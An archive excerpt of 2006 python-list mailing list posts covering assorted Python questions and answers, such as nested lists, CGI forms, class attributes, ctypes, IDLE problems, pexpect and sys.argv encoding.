From mail at microcorp.co.za  Mon Oct 23 02:46:25 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Mon, 23 Oct 2006 08:46:25 +0200
Subject: Arrays? (Or lists if you prefer)
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
Message-ID: <016e01c6f66f$cf815440$03000080@hendrik>

From: <Hakusa at gmail.com> wrote:
8<---------------------------------------

> So:
> Way to do SIMPLE array, either internally or externally, with Python,
> please.

to help you see it - here is a simple 3 row by 3 column list:

myarray = [[1,2,3],[4,5,6],[7,8,9]]

the first "row" is myarray[0] - ie the list [1,2,3]

the middle element is myarray[1][1] - ie 5 - row 1, col 1.

the last element in the first row is myarray[0][2] - ie 3

play with it at the interactive prompt...

HTH - Hendrik



From chris at kateandchris.net  Fri Oct 13 14:55:31 2006
From: chris at kateandchris.net (Chris Lambacher)
Date: Fri, 13 Oct 2006 14:55:31 -0400
Subject: Where can I find good python code?
In-Reply-To: <a23effaf0610130908x7dfaa025r8be5e77b5bbce773@mail.gmail.com>
References: <a23effaf0610130908x7dfaa025r8be5e77b5bbce773@mail.gmail.com>
Message-ID: <20061013185531.GA10644@kateandchris.net>

On Sat, Oct 14, 2006 at 01:08:37AM +0900, js  wrote:
>  Hi,
> 
> I've learned basics of Python and want to go to the next step.
> So I'm looking for good python examples
> I steal good techniques from.
> 
> I found Python distribution itself contains some examples in Demo directory.
> I spent some time to read them and
> I think they're good but seemed not so practical to me.
> 
> Any recommendations?
A large portion of the standard library is pure python and of high
quality(thats how it made it there in the first place).  The newer a module is
to the library, the better it will conform to current best practices.

On Unix environments you can find the standard library in
$PREFIX/lib/python$VERSION/ where $PREFIX is often /usr but sometimes
/usr/local and version is the version you have installed (maybe 2.4 or 2.5?)

On Windows you can find the standard library in c:\Python%VERSION%\Lib where
%VERSION% is the version you installed (maybe 24 or 25?)

-Chris


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 18:38:27 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 00:38:27 +0200
Subject: [0T] Re: Simple python + html + from --> to python script
In-Reply-To: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
Message-ID: <453e9176$0$8665$426a34cc@news.free.fr>

flit a ?crit :
> Hello All,
> 
> I am trying to get information from a form and send it to a python
> script without success..
> Here is my objective:
> 
> User enters data in form --> form send variables to python script -->
> script runs and output result.

<OT topic="HTTP">
If the script has side-effects (adding/updating/deleting database 
records, writing files, etc), the script should not "output results", 
but redirect to another url where the user can see these results.

Else - if the script doesn't have side-effects (ie :a search form, ...), 
then the HTTP method should be "GET", not "POST".
</OT>

> the form code
> 
> <form method="post" action="/cgi-bin/script.py" name="coord">Entre com
> os dados <input name="data1"><br>
> 
> Entre com os dados <input name="data2"><br>
> Vai magraum <button name="submete"></button></form>

<OT topic="HTML">
button elements don't submit the form - they in fact don't do anything 
unless you attach behaviour to them with javascript. What you want here 
is an input type='submit'.

Also, the "button" tag doesn't require a end tag.

<form method="POST" action="/cgi-bin/script.py" name="coord">
<label for="data1">Entre com os dados</label>
<input type="text" name="data1" id="data1"><br>

<label for="data2">Entre com os dados </label>
<input type="text" name="data2" id="data2"><br>
Vai magraum <input type="submit" name="submete">
</form>
</OT>

(cf Steve's answer and the cgi module's doc for your problem)


From fabianosidler at gmail.com  Sun Oct 29 12:48:40 2006
From: fabianosidler at gmail.com (Fabiano Sidler)
Date: Sun, 29 Oct 2006 17:48:40 +0000
Subject: Printing out the objects stack
Message-ID: <200610291748.41082.fabianosidler@gmail.com>

Hi folks!

For getting a plan how a stack-based VM like Python works, I added a
function that prints out the current object stack. Unfortunately, it
crashes the VM. Could someone here take a look at it? What's wrong with
it?:

--- snip ---
static PyObject *
sys_stack(PyObject *self)
{
	PyFrameObject *f = PyThreadState_GET()->frame;
	PyObject
		**i,
		**begin = f->f_localsplus,
		**end = f->f_valuestack;
	
	end += f->f_code->co_stacksize;
	flog(	"co_name: %s\n"
		"co_stacksize: %d\n"
		"localsplus: %d\n"
		"valuestack: %d\n",
		PyString_AsString(f->f_code->co_name), f->f_code->co_stacksize,
		f->f_localsplus, f->f_valuestack);
	flog("locals:\n");
	{
		PyObject *list = f->f_code->co_names;
		int len,i;
		
		len = PyList_Size(list);
		for (i=0; i<len; i++) {
			PyObject *obi;
			char *strval;
			obi = PyList_GetItem(list, i);
			if ((obi=PyObject_Str(obi))!=NULL) {
				if ((strval=PyString_AsString(obi))!=NULL) {
					flog("[%d] %s\n", i, strval);
				}
			}
			Py_DECREF(obi);
		}
		Py_DECREF(list);
	}
	flog("end of locals\n");
	for (i=begin; i<=end; i++) {
		int o = ((int)f->f_valuestack - (int)i)/4;
		PyObject *obi;
		char *strval;
		
		if (*i == NULL) {
			flog("NULL\n");
			break; }
		if ((obi=PyObject_Str(*i)) != NULL) {
			if ((strval=PyString_AsString(obi)) != NULL) {
				flog("[%3d] %s\n", o, strval);
			}
		}
	}
	finished:
	Py_INCREF(Py_None);
	return Py_None;
}
--- snap ---

flog(fmt, ...) is my function to log to a file, sys_stack I've made available
to Python as sys.stack and PyFrame_New I modified so that it nulls the memory
allocated for the objects stack. Now the following Python code crashes...

--- snip ---
def f(foo,bar,boo,far):
	foobar='foobar'
	print foobar
	sys.stack()

f('foo','bar','boo','far') # CRASH
--- snap ---

...and in my "logfile" I have...

--- snip ---
co_name: f
co_stacksize: 1
localsplus: 136139316
valuestack: 136139336
locals:
end of locals
[  5] foo
[  4] bar
[  3] boo
[  2] far
[  1] foobar
[  0] <built-in function stack>
--- snap ---

Now the following things are not clear to me:
-Why does the VM crash? Did I use the wrong stack boundaries?
-Why are no locales printed?
-Why is the function "stack" not right before or after "foo"
 on the stack? When I disassemble the code of f with dis.dis,
 it reveals that sys.stack and foo are pushed onto the stack
 successively.

Greetings,
Fips


From mike$#at^&nospam!%trauschus  Mon Oct 23 18:03:00 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Mon, 23 Oct 2006 18:03:00 -0400
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <mailman.917.1161493606.11739.python-list@python.org>
References: <mailman.917.1161493606.11739.python-list@python.org>
Message-ID: <WvKdnUKT3umIoaDYnZ2dnUVZ_tGdnZ2d@comcast.com>

Jean-Paul Calderone wrote:
> On Sun, 22 Oct 2006 00:34:14 -0400, "Michael B. Trausch"
> <mike$#at^&nospam!%trauschus at bag.python.org> wrote:
>> Alright... I am attempting to find a way to parse ANSI text from a
>> telnet application.  However, I am experiencing a bit of trouble.
>>
>> What I want to do is have all ANSI sequences _removed_ from the output,
>> save for those that manage color codes or text presentation (in short,
>> the ones that are ESC[#m (with additional #s separated by ; characters).
>> The ones that are left, the ones that are the color codes, I want to
>> act on, and remove from the text stream, and display the text.
> 
> http://originalgamer.cvs.sourceforge.net/originalgamer/originalgamer/originalgamer/ansi.py?revision=1.12&view=markup
> may be of some interest.
> 

I am attempting to study this code to see how it does it.  From what I
can see of this thread, it appears to be one of many solutions.
Unfortunately, I am not well-versed in this whole application
programming thing... <g>.  I can do simple things, and am good at web
apps, but this style of things is quite new for me.

Anyway, we'll see what I can get out of that, and maybe I can find the
solution.  Thanks for the pointer!

	-- Mike


From fredrik at pythonware.com  Tue Oct 10 14:54:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 20:54:23 +0200
Subject: Is a list static when it's a class member?
In-Reply-To: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
Message-ID: <eggq8v$g7s$1@sea.gmane.org>

glue wrote:

> I have a class with a list member and the list seems to behave like
> it's static while other class members don't. The code...

*all* class attributes are shared by all instances.  however, instance 
attributes hide class attributes with the same name.

in your case, you're hiding the "name" class attribute by creating an 
instance attribute with the same name in the "__init__" method, but 
you're modifying the shared "data" attribute in the "append" method.

if you want separate instances to use separate objects, make sure you 
create new objects for each new instance.  see Tim's reply for how to
do that.

</F>

> class A:
>     name = ""
>     data = []
>     def __init__(self, name):
>         self.name = name
>     def append(self, info):
>         self.data.append(info)
>     def enum(self):
>         for x in self.data:
>             print "\t%s" % x



From ptmcg at austin.rr._bogus_.com  Mon Oct  2 12:11:22 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 02 Oct 2006 16:11:22 GMT
Subject: Sort by domain name?
References: <mailman.1094.1159801691.10491.python-list@python.org>
Message-ID: <KSaUg.21719$DU3.21594@tornado.texas.rr.com>

"js " <ebgssth at gmail.com> wrote in message 
news:mailman.1094.1159801691.10491.python-list at python.org...
> Hi list,
>
> I have a list of URL and I want to sort that list by the domain name.
>
> Here, domain name doesn't contain subdomain,
> or should I say, domain's part of 'www', mail, news and en should be 
> excluded.
>
> For example, if the list was the following
> ------------------------------------------------------------
> http://mail.google.com
> http://reader.google.com
> http://mail.yahoo.co.uk
> http://google.com
> http://mail.yahoo.com
> ------------------------------------------------------------
>
> the sort's output would be
> ------------------------------------------------------------
> http://google.com
> http://mail.google.com
> http://reader.google.com
> http://mail.yahoo.co.uk
> http://mail.yahoo.com
> ------------------------------------------------------------
>
> As you can see above, I don't want to
>
>
> Thanks in advance.

How about sorting the strings as they are reversed?

urls = """\
http://mail.google.com
http://reader.google.com
http://mail.yahoo.co.uk
http://google.com
http://mail.yahoo.com""".split("\n")

sortedList = [ su[1] for su in sorted([ (u[::-1],u) for u in urls ]) ]

for url in sortedList:
    print url


Prints:
http://mail.yahoo.co.uk
http://mail.google.com
http://reader.google.com
http://google.com
http://mail.yahoo.com


Close to what you are looking for, might be good enough?

-- Paul 




From olsongt at verizon.net  Mon Oct 23 13:55:43 2006
From: olsongt at verizon.net (olsongt at verizon.net)
Date: 23 Oct 2006 10:55:43 -0700
Subject: Looking for a Python-on-Windows person to help with SpamBayes
In-Reply-To: <mailman.994.1161625959.11739.python-list@python.org>
References: <mailman.994.1161625959.11739.python-list@python.org>
Message-ID: <1161626143.199801.306150@m73g2000cwd.googlegroups.com>


s... at pobox.com wrote:
> I'm looking for some help with SpamBayes.  It can be short-term or
> long-term.  I've implemented some OCR capability based on the open source
> ocrad program that works reasonably well to extract text tokens from
> image-based spam.  Alas, I don't use Windows at all, so I can't make sure
> this stuff works on Windows.  None of the usual suspects in the SpamBayes
> development community have any free time at the moment.  Others are helping
> out, but they are user types, not programmer types, so the round trip
> between "this doesn't work", to "okay, try this" and back again is
> agonizingly slow.
>
> The bare requirements are:
>
>     * Able to program in Python on Windows (that is, remove my Unix-think
>       from the OCR bits of code)
>
>     * Use Outlook to read mail (so you can test the changes with the
>       SpamBayes Outlook plugin)
>
> If you can compile software under cygwin (the ocrad program builds fine
> under cygwin) and/or can create installers for Python-based Windows apps
> that would be a plus.
>
> If you can help out, please drop an email to spambayes-dev at python.org.
> 
> Thanks,
> 
> -- 

Does ocrad require the cygwin environment to run?



From bj_666 at gmx.net  Mon Oct 23 14:23:49 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Mon, 23 Oct 2006 20:23:49 +0200
Subject: encoding of sys.argv ?
References: <20061023130504.26823717@autremonde>
Message-ID: <pan.2006.10.23.18.23.48.380428@gmx.net>

In <20061023130504.26823717 at autremonde>, Jiba wrote:

> I am desperately searching for the encoding of sys.argv.
>
> I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem.
> sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is
> "utf-8". However, sys.argv is neither in ASCII (since I can pass French
> accentuated character), nor in UTF-8. It seems to be encoded in
> "latin-1", but why ?

There is no way to determine the encoding.  The application that starts
another and sets the arguments can use any encoding it likes and there's
no standard way to find out which it was.

The `sys.stdin.encoding` approach isn't very robust because this will only
be set if the interpreter can find out what encoding is used on `stdin`. 
That's impossible if the `stdin` is the input from another file.

Make it explicit: Add a command line option to choose the encoding.

Ciao,
	Marc 'BlackJack' Rintsch


From wolfgang.keller.nospam at gmx.de  Mon Oct 16 07:52:29 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Mon, 16 Oct 2006 13:52:29 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<mailman.548.1160951931.11739.python-list@python.org>
Message-ID: <0001HW.C1593F1C008E204DF0407530@news.individual.de>

>> What I'm interested in is rather how to connect a GUI to a database, with
>> quite a bit of application logic in between. And how to do it well.
> 
> You've described Dabo perfectly. Have you looked into it yet? It's
> written by a couple of database application developers.

Yes, thanks, I know about Dabo. As I know about Kiwi, Thyme, GNUe, TinyERP 
and so on...

But I would still like to learn how to do things myself if I need to.

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From thomas at jollans.com  Wed Oct  4 17:19:06 2006
From: thomas at jollans.com (Thomas Jollans)
Date: Wed, 4 Oct 2006 23:19:06 +0200
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <20061004231906.2acd5f2f.thomas@jollans.com>

On Wed, 4 Oct 2006 16:21:21 -0400
"gord" <gord at no_spaming.com> wrote:

> [...] all in a DOS-like environment.
Python is an extremely multi-purpose language that is not dependant on GUIs or similiar riff-raff. It can be run in DOS or DOS-like systems, but that is your choice, not python's. Python has a traditional connection to the *nix (UNIX-like) family of operating systems, where the command like is a lot more powerful and used than in modern incarnations of DOS, such as Windows NT 5.1, nicknamed "windows xp".

> What is particularly disappointing is the absence of a Windows IDE, 
There are multiple. I personally chose to use the editor vim and the command line, but that is a personal choice. See <http://wiki.python.org/moin/IntegratedDevelopmentEnvironments>.

> components and an event driven paradigm.
I am not sure what you mean with "components". Since everything in python, even types and functions, is an object, events can be implemented cleanly and easily where they are due, such as in GUI toolkits.

> How does Python stand relative to the big 3, namely Visual C++, Visual Basic and Delphi?
No additional comment on "big 3". Visual C++ is just an IDE for the language C++, which has, like python, roots in the UNIX and command-line world. VB and Delphi are IDEs for extended versions of the languages BASIC and PASCAL, respectively. See the link above for IDEs for the language Python.

> I realize that these programming packages are quite expensive now while Python is free
> (at least for the package I am using - ActivePython).
Price and quality are not directly related; in this example I must say that some of the better (supposedly, I have not tried them) python IDEs are actually commercially distributed proprietary software. Also note that python is not only available free of charge, but also so-called "free software" (libre software... related to open source, which it also is), see the free software definition at <http://www.gnu.org/philosophy/free-sw.html> for a description of that matter.
 
> Please discuss where Python shines.
Python shines nearly everywhere where speed and resource usage is not a killer factor. Writing and reading, this maintaining, software written in python is very easy. Python also lends itself very well to writing portable software. Being a (to the outside) interpreted language, the compilation step falls out, speeding up the development process somewhat.
I find the python language a lot clearer than (Visual) Basic, and programs are definately shorter. C/C++ aren't geared towards programmer-friendliness, so they are a completely different category. I know too little about Pascal (Delphi)
Python can be used in many areas, from small maitainence scripts on servers over web applications to fully-blows graphical apps. For graphical applications, there are multiple choices, one (Tkinter) being distributed with standard python (which does not act natively on any platform.) PyGTK has an excellent GUI designer, glade, and acts 100% natively on many UNIX/Linux systems, about 90% natively on windows systems, and doesn't, yet (AFAIK), integrate well with Mac OSX. WxPython acts natively everywhere, but is, as I have heard, not as "pythonic" as other frameworks. pyGUI looks promising.

Reinforcement: Remember that python is a language, not a development environment. It shines as a language, and can be put into a friendly case if the programmer choses that.

-- 
Thomas Jollans


From sjdevnull at yahoo.com  Fri Oct  6 16:58:15 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 6 Oct 2006 13:58:15 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160159206.781049.24930@c28g2000cwb.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
	<1160158803.404425.316430@h48g2000cwc.googlegroups.com>
	<1160159206.781049.24930@c28g2000cwb.googlegroups.com>
Message-ID: <1160168295.033649.163460@k70g2000cwa.googlegroups.com>

Camellia wrote:
> Well...It' doesn't, have you run it yet?

Yes it does, and running it reflects that behavior.

> ini_guess = random.randrange(1)
> list_guess = ['t', 'h']
> ini_guess = list_guess[ini_guess]

random.randrange(1) will always return 0, so this will always
initialize ini_guess to 't'

> for item in list:
>     if item == ini_guess:
>         correct += 1
>     elif item == 'h':
>         ini_guess = 't'
>     elif item == 't':
>         ini_guess == 'h'

If item was 't', then correct is incremented and nothing else happens.
ini_guess remains 't'.
If item was 'h', ini_guess will be set to 't'.

The final "elif item=='t':" branch will never be executed.



From fredrik at pythonware.com  Sun Oct  8 16:11:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 22:11:54 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160335473.625244.261640@m7g2000cwm.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>	<mailman.1223.1159934114.10491.python-list@python.org>	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>	<mailman.1.1160189272.11739.python-list@python.org>	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>	<mailman.18.1160209645.11739.python-list@python.org>	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>	<mailman.28.1160242710.11739.python-list@python.org>	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>	<452846fe.0@entanet>	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>	<mailman.61.1160333064.11739.python-list@python.org>
	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>
Message-ID: <egbm2a$6i0$1@sea.gmane.org>

MonkeeSage wrote:

>> but "let's hypergeneralize and treat sequences and mappings as the same
>> thing" proposals are nothing new; a trip to the archives might be help-
>> ful.
> 
> Huh? I don't want to treat sequences and mappings as the same thing.
> I'm talking about adding two similar convenience methods for sequences
> as already exist for mappings.

so what makes you think you're the first one who's ever talked about that?

</F>



From steve at holdenweb.com  Thu Oct  5 14:25:59 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 19:25:59 +0100
Subject: How do I read Excel file in Python?
In-Reply-To: <1160069137.525290.90000@m73g2000cwd.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
Message-ID: <eg3im1$ada$2@sea.gmane.org>

Matimus wrote:
>>the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0,
>>which I get when I convert date values to general format in Excel. I
>>want the actual date value. How do get that?
> 
> 
> 38938 appears to be the date in days since 1/1/1900. I'm sure someone
> can help you figure out how to convert that to a more useful value.
> 

I believe the win32all extension contains functionality to help with 
that, thought it's a long time since I even ran PythonWin (sorry, Mark).

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From arkanes at gmail.com  Wed Oct  4 14:49:44 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Wed, 4 Oct 2006 13:49:44 -0500
Subject: Having trouble using CTypes with a custom function
In-Reply-To: <1159986910.925738.146560@i42g2000cwa.googlegroups.com>
References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
	<mailman.1280.1159986345.10491.python-list@python.org>
	<1159986910.925738.146560@i42g2000cwa.googlegroups.com>
Message-ID: <4866bea60610041149r3b746d7fm12d36c59494e4f9c@mail.gmail.com>

<please don't top post>

On 4 Oct 2006 11:35:11 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> Would you have any example of a wrapper for such data types?
>
> Thanks.
>
> Chris Mellon wrote:
> > On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> > > Hi all.
> > >
> > > I just started looking at Python's ctypes lib and I am having trouble
> > > using it for a function.
> > >
> > > For starters, here's my Python code:
> > >
> > >
> > > from ctypes import*;
> > > myStringDLL= cdll.LoadLibrary("myStringDLL.dll");
> > >
> > > GetMyString = getattr(myStringDLL,
> > > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z")
> > >
> > > strString =  create_string_buffer('\000' * 256);
> > > GetMyString.restype = c_int;
> > > GetMyString.argtypes = [c_char_p];
> > >
> > > bResult = GetMyString (strSerialNumber);
> > >
> > > print (bResult);
> > > print (strSerialNumber);
> > >
> > > #C++ Prototype of the function I want to call:
> > > #bool GetMyString (string& stringParam) ;
> > >
> > >
> > >
> > >
> > > I do not have access to the source code of this function so don't ask
> > > me to try different things in C++.  This DLL is working fine.
> > >
> > > The problem that I have is that print (strSerialNumber) does not seem
> > > to print the correct string.  What I get is some garbage value of
> > > unprintable characters.  Am I using this the correct way?
> > >
> >
> >
> >
> >
> > This function is expecting a C++ std::string object, not a regular C
> > style string. You'll need a wrapper function, and one which uses the
> > same compiler and STL as the C++ source.
> >
> > > Thanks.
> > >
> > > --
> > > http://mail.python.org/mailman/listinfo/python-list
> > >
>

in this case it'd be very simple:

bool WrapGetMyString(char * c) {
  return GetMyString(c)
}


(Note: This isn't unicode safe).

The C++ compiler will handle converting from the char * to the std::string.





> --
> http://mail.python.org/mailman/listinfo/python-list
>


From hg at nospam.com  Thu Oct 12 15:26:34 2006
From: hg at nospam.com (hg)
Date: Thu, 12 Oct 2006 14:26:34 -0500
Subject: IDLE won't run
In-Reply-To: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>
References: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>
Message-ID: <gOwXg.22925$Go3.14764@dukeread05>

Rob wrote:
> I have Python 2.4.3 installed on Windows XP on both a real computer and a 
> virtual machine under VMware. Just recently, IDLE stopped working. I would 
> select IDLE from the start menu or right click on a .PY file and open it in 
> IDLE, but nothing happens. I just uninstalled Python on the virtual machine 
> and installed 2.5 in the hope that that would fix the problem, but it 
> didn't. It, too, would do nothing when I tried to run IDLE. In both cases, 
> the Python command line window will come up, but that's not what I want to 
> use.
> 
> Does anyone know of a way to fix this problem? Is there a new Windows 
> update that is now interfering with IDLE? Would Norton Antivirus be 
> interfering with it somehow? (It's running in both environments.)



What kind of error do you see by calling idle from the command line (ex:
 "c:\....\python.exe c:\....\idle.py"


From MonkeeSage at gmail.com  Fri Oct  6 21:04:36 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 18:04:36 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
Message-ID: <1160183076.034356.292780@i3g2000cwc.googlegroups.com>



On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> it is clearer to you to make the condition explicit ("blah not False"),

"blah not False" -> "blah is False"



From therealorang at comcast.net  Mon Oct 16 13:32:47 2006
From: therealorang at comcast.net (Sean Kennedy)
Date: Mon, 16 Oct 2006 12:32:47 -0500
Subject: SAPI and Python
Message-ID: <Xns985E6B490402Ctherealorangyahoocom@216.196.97.136>

Ok - I've done a lot of searching with google for info on 
what I'm about to ask, and haven't found enough to accomplish
what I'm after - so if anyone has the answers (or even
just ideas on how to proceed) I'd love the help.

I'm fairly new to Python, but not to OO programming.  I've
written a simple wx application that uses an SpSharedRecognizer
for voice recognition, and currently sendKeys to send control
applications.  The basic ideas came from Inigo Surguy's 
web page describing voice recognition in Python.

The problems:

1.  The application is specifically tailored to World of Warcraft, 
and it will not be useful to the folks who might otherwise use it
if I can't share the audio in with Teamspeak and/or Ventrillo.  I
currently have Push-to-Talk implemented by clearing the wordsrule
when it's not listening and setting it when it is.  That, as far
as I can tell, will not allow another app to grab the audio in 
device.

My first notion of an idea on how to accomplish this came from the
following code at http://msdn.microsoft.com/library/default.asp?
url=/library/en-us/SAPI51sr/html/VB_ISpeechRecognizer_AudioInput.asp

It looks there like they are releasing the audio-in.  However, setting
the AudioInput property to None in Python results in an exceptions with
a type mismatch.

Question:  Do you think clearing the AudioInput property will actually
release the audio-in?  And, what is the correct way to do it in Python?

2.  sendKeys works - but it has the problem of causing McAfee to perk
up and raise a warning on the python interpreter.  I can tell it to allow
the script to run, but it only works until the next time I close and 
restart the application. 

Question:  Is sendEvent a better way to do this?  And is there a nice
web site with sample python code about it?

Thanks from a python newbie for any insights you folks have.



From sigzero at gmail.com  Sat Oct  7 09:35:43 2006
From: sigzero at gmail.com (Robert Hicks)
Date: 7 Oct 2006 06:35:43 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1263.1159968766.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org> <eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
Message-ID: <1160228143.836786.316660@e3g2000cwe.googlegroups.com>


Steve Holden wrote:
<snip>
> Perhaps what I *should* have written was "Sadly *many* people spend too
> much time bitching and moaning about those that roll their sleeves up,
> and not enough rolling their own sleeves up and pitching in".
>
> Sniping from the sidelines is far easier than hard work towards a goal.
>

Hey, that is how this whole thread started! Good observation.

Robert



From jurian at juriansluiman.nl  Sat Oct 28 17:14:53 2006
From: jurian at juriansluiman.nl (Jurian Sluiman)
Date: Sat, 28 Oct 2006 23:14:53 +0200
Subject: Get pexpect to work
Message-ID: <1162070093.10335.7.camel@karlijn.lan>

Hi all,
I'm trying to build a program to set up a vpn connection. I'm using
pexpect to handle this, but I can't get it to work. 
The sendline() is causing troubles. I tested it in the interactive
promt, with these results:

>>> import pexpect
>>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf")
>>> child.expect(".* password .*: ")
0
>>> child.sendline("[here_my_password]")
7

The sendline returns an exit code 7, but I don't what it should be. I
saw an example here, where sendline returns an exit code 10:
http://www.jinx.com/forum/topic.asp?TOPIC_ID=53947. After this peace of
code, I don't have a vpn connection. I'm sure my password is correct.
What's going wrong?

Thanks in advance,
Jurian Sluiman

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From bearophileHUGS at lycos.com  Sun Oct  8 08:36:58 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 8 Oct 2006 05:36:58 -0700
Subject: Newbie - Stuck
In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
Message-ID: <1160311018.565666.134540@i42g2000cwa.googlegroups.com>

r3bol at yahoo.com:

Python is strongly typed, and it converts types automatically less
often than Perl.
The purpose of such strong(er) typing is to allow to catch some kind of
bugs, and to make the syntax simpler, more readable, etc.

> message = "abc"
> password = "z12"
> scrambled = message ^ password

^ is defined among integers:
>>> 55 ^ 126
73

You need more explicit code like:

>>> msg = "abc"
>>> pwd = "z12"
>>> [ord(c1) ^ ord(c2) for c1,c2 in zip(msg, pwd)]
[27, 83, 81]
>>> [chr(ord(c1)^ord(c2)) for c1,c2 in zip(msg, pwd)]
['\x1b', 'S', 'Q']
>>> "".join( chr(ord(c1)^ord(c2)) for c1,c2 in zip(msg, pwd) )
'\x1bSQ'


> I also wondered why this errored as well...
> int(messege)
> Is it not meant to convert a string to a number?

You can use int to truncate a float to int, or a string containing an
int to int (it accepts an optional base too):

>>> int("55")
55
>>> int(5.23)
5
>>> int("5.23")
Traceback
  ...
ValueError: invalid literal for int() with base 10: '5.23'
>>> int("abc")
Traceback
  ...

Bye,
bearophile



From fredrik at pythonware.com  Tue Oct 31 14:10:31 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 20:10:31 +0100
Subject: 3d programming without opengl
In-Reply-To: <12kf7gishr60ta3@corp.supernews.com>
References: <mailman.1526.1162280594.11739.python-list@python.org>
	<12kf7gishr60ta3@corp.supernews.com>
Message-ID: <ei8736$ahg$2@sea.gmane.org>

Grant Edwards wrote:

> Oy.  A pure Python solution would probably be _really_ slow.

Pure Python doesn't necessarily imply "no graphics drawing code written 
in some other language", though.  You can get pretty far by using a 2D 
library for simple 3D rendering.

</F>



From ewijaya at i2r.a-star.edu.sg  Mon Oct 16 05:01:44 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Mon, 16 Oct 2006 17:01:44 +0800
Subject: Where to find pydoc?
References: <mailman.557.1160985922.11739.python-list@python.org>
	<pan.2006.10.16.09.00.55.1863@gmx.net>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net>


Hi,
Thanks for the reply.
 
Red Hat Linux Enterprise:
Linux host.com 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686 i686 i386 GNU/Linux

 
Python 2.3.4.
 
Any problem with that?
 
--- Edward

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Marc 'BlackJack' Rintsch
Sent: Mon 10/16/2006 5:00 PM
To: python-list at python.org
Subject: Re: Where to find pydoc?



In <mailman.557.1160985922.11739.python-list at python.org>, Wijaya Edward
wrote:

>
> I tried to call pydoc from my Linux box.
> To my realization that it doesn't contain
> pydoc.
> 
> I thought this module should be a default module.

